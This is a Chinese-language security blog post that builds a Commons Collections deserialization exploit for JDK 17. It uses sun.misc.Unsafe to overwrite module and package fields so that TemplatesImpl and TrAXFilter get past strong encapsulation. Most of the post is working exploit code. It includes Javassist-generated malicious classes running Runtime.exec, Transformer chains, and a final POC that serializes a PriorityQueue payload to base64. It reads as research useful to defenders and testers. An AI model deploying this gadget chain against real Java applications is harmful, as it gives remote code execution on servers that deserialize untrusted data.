Jdk17&CC 下利用 TemplesImpl

exp3n5ive Lv1

原理大概就是利用 Unsafe 类去绕过 Jdk17 下的模块限制,从而允许反序列化时 CC 链中的一些类的使用

Unsafe 类

Java安全之Unsafe类 - nice_0e3 - 博客园

Java 魔法类 Unsafe 详解 | JavaGuide

Java魔法类:Unsafe应用解析 - 美团技术团队

Unsafe 是位于 sun.misc 包下的一个类,主要提供一些用于执行低级别、不安全操作的方法

绕过模块检测原理

java安全学习-jdk17绕过反射限制

从一道题初接触RASP-先知社区

JDK17+反射限制绕过

JDK 17 强封装与绕过

在 Jdk 9-16 采用的都是宽松的强封装,当我们用反射去获取 java.* 包下的非public变量和方法时会产生警告

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.reflect.Method;

public class Test {
public static void main(String[] args) throws Exception {
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] code = getEvilBytes();
((Class)method.invoke(ClassLoader.getSystemClassLoader(), "Evil", code, 0, code.length)).newInstance();

}
public static byte[] getEvilBytes() throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass evil = classPool.makeClass("Evil");
evil.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
return evil.toBytecode();
}
}

警告归警告,还是可以成功命令执行的:

但是同样的代码拿到 Jdk17 下运行就会产生以下报错:

1
2
3
4
5
6
7
8
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @404b9385
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at Test.main(Test.java:9)

进程已结束,退出代码为 1

这是因为 Jdk 17 启动了强封装, java.* 下的非公共字段和方法都无法反射获取调用了

跟一下堆栈看看具体是怎么限制的:

在 setAccessible 方法下断点:

这里如果 flag 为 true 就会调用 checkCanSetAccessible 来检测是否可以进行 setAccessible

在 Jdk8 下也看了一下,发现没有 checkCanSetAccessible 方法:

所以大概能够确定就是 checkCanSetAccessible 方法限制了对 java.* 的非公共字段和方法的反射

往下跟,都是对 checkCanSetAccessible 的重载,不重要,最后一直跟到实现具体逻辑的部分:

这里直接引用别人的图:

重点在第 311 行,只要我们要调用的类的 Module 和 Object.class 的 Module 一样,就可以通过检验

所以我们可以用 Unsafe 类去修改 caller 类(即 Test)的 Module 即可

(先调用 objectFieldOffset 获取给定类属性值的内存偏移量,用来找到 module 属性值的位置,然后调用 getAndSetObject 根据偏移量赋值)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Test {
public static void main(String[] args) throws Exception {
// 反射获取 Unsafe 类
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
// 修改当前 Test 的 class 类的 Module
Module baseModule = Object.class.getModule();
Class currentClass = Test.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
// 反射调用 defineClass 加载字节码
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] code = getEvilBytes();
((Class) method.invoke(ClassLoader.getSystemClassLoader(), "Evil", code, 0, code.length)).newInstance();
}

public static byte[] getEvilBytes() throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass evil = classPool.makeClass("Evil");
evil.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
return evil.toBytecode();
}
}

unsafe.getAndSetObject(currentClass, addr, baseModule);也可以换成 unsafe.putObject(currentClass, addr, baseModule);

这个方法是选择了最简单的一条返回 true 的条件去满足的,观察这个方法会看到还有很多返回 true 的地方

Jdk17 下使用 TemplesImpl 的限制

https://xz.aliyun.com/news/18628

继承 AbstractTranslet 问题

在学习 CC 链时我们知道,利用 TemplesImpl 加载字节码有以下条件:

_name 不为空,恶意类的父类是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

由于 Jdk17 对 com.sun 包下的类都做了限制,不能直接访问,所以我们就要想办法看看能不能不去继承 AbstractTranslet

先回顾一下为什么要继承 AbstractTranslet

在下面这半条链执行的过程中

1
2
3
4
5
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()

在 TemplatesImpl.defineTransletClasses() 里进行了 defineClass():

执行完 TemplatesImpl.defineTransletClasses() 出来之后,回到 TemplatesImpl.getTransletInstance(),调用 newInstance() 进行实例化,此时才会触发我们的恶意代码:

但是如果我们的恶意类的父类不是 AbstractTranslet 的话,就会走到 else

而按照我们原本的 payload,这个 _auxClasses 为 null,走到这里就会报空指针错误,导致还没 newInstance() 就抛出异常提前结束了

这时候我们想的肯定是给 _auxClasses 赋个值,但是它是 transient 的,赋值了也没用

但是好在这个函数里有给它赋值的地方:

所以我们只要在 _bytecodes 里面多放一个字节数组即可,不过要注意这里一定要是一个符合规范的 java 类字节码,如果放一个 new byte[0] 的话,在 defineClass 时会抛出异常

光这样还不够,由于我们没有继承 AbstractTranslet,所以没有进入下面给 _transletIndex 赋值这一步

这个值的初始值是 -1,如果不去修改就会进入下面的判断,导致抛出异常:

这里用 Jdk8 下的 CC3 跑了一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package com;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.utils.ReflectUtil;
import com.utils.SerializeUtil;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.lang.annotation.Target;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(
TrAXFilter.class
),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{getTemplates()}
)
};
// 链子前半段和 CC1 一样
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "useless");
Map transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Object handler = ReflectUtil.newInstance(
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"),
new Class[]{Class.class, Map.class},
// 必须传一个有变量的注解类
new Object[]{Target.class, transformedMap}
);
SerializeUtil.test(handler);
}

public static TemplatesImpl getTemplates() throws Exception {
// String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool = ClassPool.getDefault();
// classPool.appendClassPath(AbstractTranslet);
// 设置父类,目的是满足 defineTransletClasses() 中的
// if (superClass.getName().equals(ABSTRACT_TRANSLET))
CtClass evil = classPool.makeClass("Evil");
// evil.setSuperclass(classPool.get(AbstractTranslet));
evil.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
// 恶意类创建完成,下面创建 TemplatesImpl
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Class<?> templatesClass = Class.forName(TemplatesImpl);
TemplatesImpl templates = (TemplatesImpl) templatesClass.newInstance();
// 为了过 getTransletInstance() 中的判断:if (_name == null) return null;
ReflectUtil.setFieldValue(templates, "_name", "useless");
// 写入恶意字节码
CtClass useless = classPool.makeClass("Useless");
ReflectUtil.setFieldValue(templates, "_bytecodes", new byte[][]{evil.toBytecode(), useless.toBytecode()});
// ReflectUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ReflectUtil.setFieldValue(templates, "_transletIndex", 0);
return templates;
}
}
//ObjectInputStream.readObject()
// AnnotationInvocationHandler.readObject()
// MapEntry.setValue()
// TransformedMap.checkSetValue()
// ChainedTransformer.transform()
// ConstantTransformer.transform()
// InstantiateTransformer.transform()
// TrAXFilter.TrAXFilter()
// TemplatesImpl.newTransformer()
// TemplatesImpl.getTransletInstance()
// TemplatesImpl.defineTransletClasses()
// TemplatesImpl.TransletClassLoader.defineClass()

反序列化时模块检测的绕过

前面我们绕过了 TemplatesImpl.defineTransletClasses() 中类加载时的异常问题,但是代码执行还需要回到 TemplatesImpl.getTransletInstance(),调用 newInstance() 进行实例化

但是在 Jdk17 下存在模块检测,在后面调用 newInstance() 对恶意类进行初始化时会检测到恶意反射

前面我们写的通过 Unsafe 类修改当前类的 Module 来绕过模块检测,是在本地实现的

而反序列化这个流程是在服务端执行的,想要绕过检测必须在服务端也使用 Unsafe 去 patchModule

Unsafe 类是不可序列化的,想要拿到它只能通过反射,这和 CC 链获取 Runtime 实例很像。于是我们很容易想到可以利用 InvokerTransformer#transform 去反射获取 Unsafe

构造 Transformer 数组

先看一下获取 Unsafe 的流程:

1
2
3
4
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
unsafe = (Unsafe) theUnsafeField.get(null);

再看一下 CC 链中利用 InvokerTransformer#transform 获取 Runtime 的流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Transformer[] transformers = new Transformer[]{  
new ConstantTransformer(
Runtime.class
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};

那么同样,我们第一步应该传一个 Unsafe 的 class 对象:

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(
sun.misc.Unsafe.class
)
};

然后第二个要 InvokerTransformer,里面传我们要调用的方法名、参数类的class对象、参数

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(
sun.misc.Unsafe.class
),
new InvokerTransformer(
"getDeclaredField",
new Class[]{String.class},
new Object[]{"theUnsafe"}
)
};

下一步是 setAccessible:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(
sun.misc.Unsafe.class
),
new InvokerTransformer(
"getDeclaredField",
new Class[]{String.class},
new Object[]{"theUnsafe"}
),
new InvokerTransformer(
"setAccessible",
new Class[]{boolean.class},
new Object[]{true}
)
};

但是接下来就不好继续了,调用 Runtime 这么写是因为前面获得的对象刚好是后面要调用的:

Runtime.class 调 getMethod 返回 Method 对象

Method 对象 调 invoke(执行 getRuntime)返回 Runtime 对象

Runtime 对象 调 exec 命令执行

而我们执行完 setAccessible 得到的是空

这样接下来我们就没办法继续对 Field 继续操作了

所以我们大概需要这样的一个 Transformer:

1
2
3
4
public T transform(final T input) {
iTransformer.transform(input);
return input;
}

能够对输入的对象调用一次 transform,还能在结束后返回一开始的对象,以便于再次对这个对象调用一次 transform

可惜并没有这样的 Transformer,不过 Jiecub3 师傅找到了这样一个组合:

1
2
3
4
5
6
7
8
9
10
ClosureTransformer
public T transform(final T input) {
iClosure.execute(input);
return input;
}

TransformerClosure
public void execute(final E input) {
iTransformer.transform(input);
}

先看 ClosureTransformer,它接受的参数和返回的参数和我们期望的一样,只不过它调用的是 execute 方法。那么假如 execute 方法里面能够调用我们可控的对象的 transform 方法就刚好满足了条件

并且刚好 TransformerClosure 就是 iClosure 的类型

继续完善 demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.*;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Class;

public class demo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(
sun.misc.Unsafe.class
),
new InvokerTransformer(
"getDeclaredField",
new Class[]{String.class},
new Object[]{"theUnsafe"}
),
new ClosureTransformer(
new TransformerClosure(
new InvokerTransformer(
"setAccessible",
new Class[]{boolean.class},
new Object[]{true}
)
)
),
new InvokerTransformer(
"get",
new Class[]{Object.class},
new Object[]{null}
)

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

FileOutputStream fos = new FileOutputStream("bin1");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(chainedTransformer);
oos.close();

FileInputStream fis = new FileInputStream("bin1");
ObjectInputStream ois = new ObjectInputStream(fis);
Transformer o1 = (Transformer) ois.readObject();
ois.close();

Object transform = o1.transform(null);
System.out.println(transform);

}
}


现在拿到了 Unsafe 对象,接下来就是 patchModule 了

之前我我们是通过把调用类的 Module 改成 Object.class 的 Module 来绕过模块检测的

也就是最终要通过 unsafe.getAndSetObject(currentClass, addr, baseModule); 来实现

第一个参数是当前类对象,第二个是数字,都可以正常传,但是第三个变量是 Module

Module 类不能序列化

现在改 Module 为 Object.class 的 Module 看上去是行不通了:我们没办法传 Object.class 的 Module,就算哪个可控的方法能获得 Object.class 的 Module,我们也没办法传到 getAndSetObject 这个方法的参数的位置

前面我们绕过模块检测的时候是选择了一个最简单的方式,那有没有别的办法呢?

并且前面我们是从 setAccessible 去分析的,而这里要绕过的是对 newInstance 的检测

分析绕过 newInstance

写一个新的 Test 进行调试:

1
2
3
4
5
6
public class Test {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
Object o = clazz.getDeclaredConstructors()[0].newInstance(TemplatesUtil.getTemplates());
}
}

这里选 TrAXFilter 去实例化是因为我们的链子在反序列化时调用 newInstance 的就是 TrAXFilter 类

点进 newInstance 下个断点,然后开跟

跟到 java.lang.reflect.Constructor#newInstanceWithCaller看上去有点检测的感觉:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
* 创建一个新的实例,支持调用者检查和访问控制
*
* @param args 构造函数参数数组
* @param checkAccess 是否检查访问权限
* @param caller 调用者类
* @return 新创建的实例
* @throws InstantiationException 当实例化失败时抛出
* @throws IllegalAccessException 当访问被拒绝时抛出
* @throws InvocationTargetException 当构造函数调用抛出异常时抛出
*/
/* package-private */
T newInstanceWithCaller(Object[] args, boolean checkAccess, Class<?> caller)
throws InstantiationException, IllegalAccessException,
InvocationTargetException
{
// 检查访问权限
if (checkAccess)
checkAccess(caller, clazz, clazz, modifiers);

// 检查是否为枚举类型,枚举类型不能通过反射创建
if ((clazz.getModifiers() & Modifier.ENUM) != 0)
throw new IllegalArgumentException("Cannot reflectively create enum objects");

// 获取构造函数访问器
ConstructorAccessor ca = constructorAccessor; // read volatile
if (ca == null) {
ca = acquireConstructorAccessor();
}

// 创建新实例
@SuppressWarnings("unchecked")
T inst = (T) ca.newInstance(args);
return inst;
}

检查完访问权限后,才会创建新的实例,在 checkAccess 这一句后面下断点,然后恢复运行,发现没有在下一句断下来就抛出异常了,所以肯定是 checkAccess 里面遇到了问题

跟进 checkAccess:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* 检查访问权限,验证调用者是否有权限访问指定的成员
*
* @param caller 调用者类,表示发起访问的类
* @param memberClass 成员类,表示包含被访问成员的类
* @param targetClass 目标类,表示实际要访问的类
* @param modifiers 访问修饰符,表示被访问成员的访问权限标志
* @throws IllegalAccessException 当访问权限验证失败时抛出此异常
*/
final void checkAccess(Class<?> caller, Class<?> memberClass,
Class<?> targetClass, int modifiers)
throws IllegalAccessException
{
// 验证访问权限,如果验证失败则抛出异常
if (!verifyAccess(caller, memberClass, targetClass, modifiers)) {
IllegalAccessException e = Reflection.newIllegalAccessException(
caller, memberClass, targetClass, modifiers);
// 根据配置决定是否打印异常堆栈信息
if (printStackTraceWhenAccessFails()) {
e.printStackTrace(System.err);
}
throw e;
}
}

可以看到 verifyAccess 返回为 false,导致抛出异常:

所以关键就是看看怎么让 verifyAccess 返回 true,继续跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/**
* 验证调用者类对目标成员的访问权限
*
* @param caller 调用者类,即尝试访问成员的类
* @param memberClass 成员所属的类,即定义该成员的类
* @param targetClass 目标类,对于实例成员或构造器来说是实际的目标类,否则为null
* @param modifiers 成员的访问修饰符(如public、private、protected等)
* @return 如果调用者有权限访问该成员则返回true,否则返回false
*/
final boolean verifyAccess(Class<?> caller, Class<?> memberClass,
Class<?> targetClass, int modifiers)
{
// 快速检查:如果调用者类就是成员所属类(即本类调用),则直接允许访问
if (caller == memberClass) { // quick check
return true; // ACCESS IS OK
}

// 检查受保护成员的访问权限
if (targetClass != null // instance member or constructor
&& Modifier.isProtected(modifiers)
&& targetClass != memberClass) {
// 对于受保护的实例成员,检查调用者是否在目标类的访问检查范围内
if (isAccessChecked(caller, targetClass)) {
return true; // ACCESS IS OK
}
// 检查非受保护成员或其他情况的访问权限
} else if (isAccessChecked(caller)) {
// Non-protected case (or targetClass == memberClass or static member).
return true; // ACCESS IS OK
}

// 如果上述快速检查都无法确定访问权限,则使用慢速路径进行详细验证
return slowVerifyAccess(caller, memberClass, targetClass, modifiers);
}

可以看到很多地方都可以返回 true

第一个判断

调用者的 class 对象 == 被反射的类成员的 class 对象,可以理解为本类反射调用,如果满足这个条件的话肯定就返回 true 了,很好理解,但是我们肯定不满足。

这里没有进行非空判断就直接先判断这个条件,应该也是为了性能考虑,希望处理速度更快(从注释的 quick check 也可以看出来)

第二个判断

这里有三个条件,先看第一个非空,这个肯定满足

再看 Modifier.isProtected(modifiers) ,意思是我们访问的是一个 Protected 的方法或者变量

这个就是 false 了,我们没法改变,直接去看 else if:

第三个判断

跟进 isAccessChecked:

这里的逻辑是从缓存里找我们的调用类,但是能够看到我们的 accessCheckCache 为 null,肯定是找不到的,所以这里也不通

刚才的条件都没法满足,继续跟进 slowVerifyAccess:

可以看到就是在 verifyMemberAccess 里面返回 false 导致这个函数返回了false,继续跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
/**
* Verify access to a member and return {@code true} if it is granted.
*
* @param currentClass the class performing the access
* @param memberClass the declaring class of the member being accessed
* @param targetClass the class of target object if accessing instance
* field or method;
* or the declaring class if accessing constructor;
* or null if accessing static field or method
* @param modifiers the member's access modifiers
* @return {@code true} if access to member is granted
*/
public static boolean verifyMemberAccess(Class<?> currentClass,
Class<?> memberClass,
Class<?> targetClass,
int modifiers)
{
Objects.requireNonNull(currentClass);
Objects.requireNonNull(memberClass);

// 如果当前类就是成员所在的类,则总是允许访问
if (currentClass == memberClass) {
// Always succeeds
return true;
}

// 验证模块访问权限
if (!verifyModuleAccess(currentClass.getModule(), memberClass)) {
return false;
}

boolean gotIsSameClassPackage = false;
boolean isSameClassPackage = false;

// 检查成员类是否具有公共访问权限,如果不是,则检查是否在同一包内
if (!Modifier.isPublic(getClassAccessFlags(memberClass))) {
isSameClassPackage = isSameClassPackage(currentClass, memberClass);
gotIsSameClassPackage = true;
if (!isSameClassPackage) {
return false;
}
}

// 此时已知 currentClass 可以访问 memberClass

// 如果成员是 public 的,则允许访问
if (Modifier.isPublic(modifiers)) {
return true;
}

// 如果成员是 private 的,检查是否为嵌套成员(nestmate)
if (Modifier.isPrivate(modifiers)) {
// Note: targetClass may be outside the nest, but that is okay
// as long as memberClass is in the nest.
if (areNestMates(currentClass, memberClass)) {
return true;
}
}

boolean successSoFar = false;

// 如果成员是 protected 的,检查 currentClass 是否为 memberClass 的子类
if (Modifier.isProtected(modifiers)) {
// See if currentClass is a subclass of memberClass
if (isSubclassOf(currentClass, memberClass)) {
successSoFar = true;
}
}

// 如果尚未成功,并且成员不是 private 的,检查是否在同一包内
if (!successSoFar && !Modifier.isPrivate(modifiers)) {
if (!gotIsSameClassPackage) {
isSameClassPackage = isSameClassPackage(currentClass,
memberClass);
gotIsSameClassPackage = true;
}

if (isSameClassPackage) {
successSoFar = true;
}
}

// 如果仍未成功,则拒绝访问
if (!successSoFar) {
return false;
}

// 对于 protected 实例成员和构造函数的额外检查:JLS 6.6.2
if (targetClass != null && Modifier.isProtected(modifiers) &&
targetClass != currentClass)
{
if (!gotIsSameClassPackage) {
isSameClassPackage = isSameClassPackage(currentClass, memberClass);
gotIsSameClassPackage = true;
}
// 如果不在同一包内,检查 targetClass 是否为 currentClass 的子类
if (!isSameClassPackage) {
if (!isSubclassOf(targetClass, currentClass)) {
return false;
}
}
}

return true;
}

第一个判断肯定不满足,过

第二个判断如果过不去的话直接就是 false

而我们刚好就是死在这里,所以这里肯定要想办法绕过,不然一点机会都没了,继续跟:

这里又是判断当前类的 module 和 被反射的类的 module 是否一样,肯定不满足,看 else:

这里拿了目标类的包名,然后调用 isExported 方法判断当前包名是否对当前类的 module 开放

跟进

没逻辑,继续跟:

第一个判断

这个isNamed(),这里代码意思是被调用类是非命名模块的话就直接返回true

因为在 Java 9 引入模块系统之后,不是所有的 JAR 文件都变成了命名的模块,非命名模块不受模块检测的限制,

所以我们把调用类的 Module.name 反射改为 null 就可以

但其实Module类做了防护,java不会让我们得到这个的类Field。getDeclaredFields()出来都是空的

第二个判断

other == this 依然是判断 Test1 的 Module 和 java.xml 是否一样,满足不了,过

第三个判断

descriptor.isOpen() 是写死的,满足不了

第四个判断: 跟进 isStaticallyExportedOrOpen :

openPackages != null 满足不了,看下面

重点就在于我们能否满足 exportedPackages != null && allows(exportedPackages.get(pn), other) 了

前面一半已经满足了:

现在看 allows(exportedPackages.get(pn), other)

exportedPackages.get(pn) 是获取包名,我们的结果是 null,跟进 allows

首先我们要让 targets 不为 null,也就是 exportedPackages.get(pn) 不为 null,否则直接就返回 false 了

看一下 exportedPackages.get(pn) ,exportedPackages 是一个 Map,所以我们只要控制 pn 是这个 Map 中存在的键名即可

找找 exportedPackages 里面有哪些东西:

我们让 pn 是这些键值中的任意一个就可以了,看一下 pn 是什么:

一直向上跟(第一个参数就是后面的 pn)

可以看到 pn 就是目标类的包名,我们同样利用 Unsafe 修改即可

修改完再调回刚才那个地方会发现返回 true 了:

接下来一路返回 true ,回到 verifyMemberAccess,最后也返回了 true

测试一下,实例化 TrAXFilter:(这里注意,由于是直接实例化 TrAXFilter,所以 templates 中需要对 _tfactory 赋值)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import sun.misc.Unsafe;
import java.lang.reflect.Field;

public class Test {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
UnsafeUtil.patchModule(Test.class);
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
unsafe.getAndSetObject(clazz, 60, "org.xml.sax");
Object o = clazz.getDeclaredConstructors()[0].newInstance(TemplatesUtil.getTemplates());
}
}

成功触发:

继续完善我们的 Transformer 数组:

调用 getAndSetObject 修改包名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(
sun.misc.Unsafe.class
),
new InvokerTransformer(
"getDeclaredField",
new Class[]{String.class},
new Object[]{"theUnsafe"}
),
new ClosureTransformer(
new TransformerClosure(
new InvokerTransformer(
"setAccessible",
new Class[]{boolean.class},
new Object[]{true}
)
)
),
new InvokerTransformer(
"get",
new Class[]{Object.class},
new Object[]{null}
),
new InvokerTransformer(
"getAndSetObject",
new Class[]{Object.class, long.class, Object.class},
new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"), 60, "org.xml.sax"}
)

};

这里的 60 是这么来的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import sun.misc.Unsafe;
import java.lang.Class;
import java.lang.reflect.Field;

public class Test1 {
public static void main(String[] args) throws Exception {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("packageName"));
System.out.println(addr); // 60
}
}

然后后面就是正常 CC4 的流程了,传 TrAXFilter.class 给 InstantiateTransformer 调 transform 方法去实例化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(
sun.misc.Unsafe.class
),
new InvokerTransformer(
"getDeclaredField",
new Class[]{String.class},
new Object[]{"theUnsafe"}
),
new ClosureTransformer(
new TransformerClosure(
new InvokerTransformer(
"setAccessible",
new Class[]{boolean.class},
new Object[]{true}
)
)
),
new InvokerTransformer(
"get",
new Class[]{Object.class},
new Object[]{null}
),
new InvokerTransformer(
"getAndSetObject",
new Class[]{Object.class, long.class, Object.class},
new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"), 60, "org.xml.sax"}
),
new ConstantTransformer(
TrAXFilter.class
),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{getTemplates()}
)
};

最下面两个这样写会爆红,因为 TrAXFilter 和 Templates 都是 sun.misc 包下面的,直接 import 会被模块检测,可以用 Class.forName() 获取,最终 POC如下

最终 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;

import java.lang.Class;
import java.util.PriorityQueue;
import javax.xml.transform.Templates;

public class POC {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(
sun.misc.Unsafe.class
),
new InvokerTransformer(
"getDeclaredField",
new Class[]{String.class},
new Object[]{"theUnsafe"}
),
new ClosureTransformer(
new TransformerClosure(
new InvokerTransformer(
"setAccessible",
new Class[]{boolean.class},
new Object[]{true}
)
)
),
new InvokerTransformer(
"get",
new Class[]{Object.class},
new Object[]{null}
),
new InvokerTransformer(
"getAndSetObject",
new Class[]{Object.class, long.class, Object.class},
new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"), 60, "org.xml.sax"}
),
new ConstantTransformer(
Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")
),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{TemplatesUtil.getTemplates()}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
ReflectUtil.setFieldValue(priorityQueue, "size", 2);
System.out.println(SerializeUtil.serializeToBase64(priorityQueue));
